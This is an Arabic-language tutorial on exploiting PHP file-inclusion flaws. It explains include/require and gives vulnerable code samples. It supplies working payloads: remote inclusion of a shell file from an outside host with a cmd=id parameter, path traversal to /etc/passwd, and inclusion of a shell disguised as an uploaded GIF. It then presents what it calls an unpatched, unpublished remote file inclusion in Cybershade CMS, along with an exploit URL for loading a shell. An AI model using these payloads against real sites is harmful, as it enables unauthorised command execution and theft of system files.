بسم الله الرحمن الرحيم
كيفك أخي
شرح استغلال ثغرات الفايل انكلود
ما هي ثغرات الفايل انكلود
هذه الثغرات عبارة عن تطبيق اكواد عبر ادخال ملفات باستخدام دوال معينة تكون مستخدمة بالسكربت لتطبيق اوامر اخرى ..
الدوال التي يمكن استغلالها لتطبيق الفايل انكلود
كود:
include
require
include_once
require_once
ما هو عمل هذه الدوال
هذه الدوال تقوم بتطبيق محتوي ملف معين كملف برمجي ..
اي ادخال الاكواد من ملفات خارجية .. ولا يخلى اي سكريبت من احد هذه الدوال
ولكن تكون الثغرة في استخدام المتغيرات داخل هذه الدوال وامكانية التعديل على المتغير
انواع ثغرات ال File include
هذا النوع ينقسم الى قسمين :-
1 : Remote File Include :-
وهو عملية تطبيق كود من ملف اي ملف وليس بالشرط ان يكون على نفس السيرفر .. اي يمكن تطبيق اكواد اي ملف اخر .. دون اي مشاكل
2: Local File include :-
وهي امكانية تطبيق كود اي ملف اخر من على نفس السيرفر
كيف يتم اكتشاف ثغرات الفايل انكلود ؟
طبعا لكي تكتشف ثغرات الفايل انكلود يجب عليك البحث بالشفرة المصدرية او الكود للسكربتات ..
وهذا الكود مثال على ثغرات الفايل انكلود
كود:
<?php
$page = $_GET['page'];
include ($page);
?>
وفي هذه الحالة يتم تطبيق الثغرة بكل سهولة على الملف باستخدام المتغير page
ففي هذه الحالة يكون الاستغلال مثلا
file.php?page=****l.txt
او اي ملف اخر مثلا
file.php?page=http://members.lycos.co.uk/soqor10/cmd.txt&cmd=id
اما لو كان الكود مثلا
كود:
<?php
$page = $_GET['page'];
include ("./pages/$page");
?>
فهنا يمكن فقط ادخال ملفات داخلية اي على نفس السيرفر
وطبعا يمكن استخدام النقاط بشكل طبيعي لتخطي المجلدات
مثلا لو كان مسار الملف
/home/user/public_html/file.php
يكون الاستغلال للوصول لل /etc/passwd
file.php?page=../../../../etc/passwd
او مثلا لو قمت برفع ملف شل بامتداد gif على مركز رفع على نفس السيرفر
واكن مسار الملف /home/upload/public_html/uploads/file01c144dd.gif
تدخله بالطريقة التالية
file.php?page=../../../../home/upload/public_html/uploads/file01c144dd.gif
تطبيق عملي على اكتشاف ثغرات ال file include
والثغرة لم ترقع ولم تنشر حتى الان
اسم السكربت
Cybershade CMS
انا بالعادة عندما افحص سكربت من الثغرات ابدأ بملفات ال core او ال includes اي الملفات التي تدرج دوما في كل الملفات ولا تكون رئيسية لانها بالغالب يكون بها الثغرات
لذا سنقوم بفتح ملف core/includes.php
محتوى الملف
كود:
<?php
//This file has the main includes all in one file, this will enable us to change the files if we need to
include "xconnect.php"; //connection infomation
include $CMS_ROOT."core/core.php"; //main core of the CMS
include $CMS_ROOT."core/security.php"; //CMS security
include $CMS_ROOT."core/menus.php"; //Menus
include $CMS_ROOT."core/classes.php"; //Diffrent Classes
//include $CMS_ROOT."core/bbcode.php"; //bbcodes
template(); //call upon the template function
?>
ولكن الملف xconnect.php غير موجود بنفس المجلد لذا سيظهر رسالة خطأ ولكن لان الدالة هي Include فانه يكمل دون التوقف للخطأ وهنا يمكننا استغلال هذا الخطأ
انظر
كود:
include $CMS_ROOT."core/core.php"; //main core of the CMS
ولان هذا الملف لا يوجد فيه اي شيء قبل هذا السطر او لا يقوم بتطبيق شيء بشكل حقيقي اذا يمكننا اضافة قيمة للمتغير CMS_ROOT
لذا لو قمنا بعمل مثلا
core/includes.php?CMS_ROOT=http://www.soqor.net/index/?
فانه سيقوم بادراج الصفحة .. وهنا يمكننا استخدام اي شيل بصيغة gif او txt
ويمكن ايضا النظر مثلا في ملف اخر ك core.php
اول اسطر فيه
كود:
<?php
session_start();
error_reporting (E_ERROR | E_WARNING | E_PARSE); //this will be set to 0 when released, this is to stop any error's showing up
//error_reporting (0);
include $CMS_ROOT."core/base_functions.php"; //functions that the CMS will use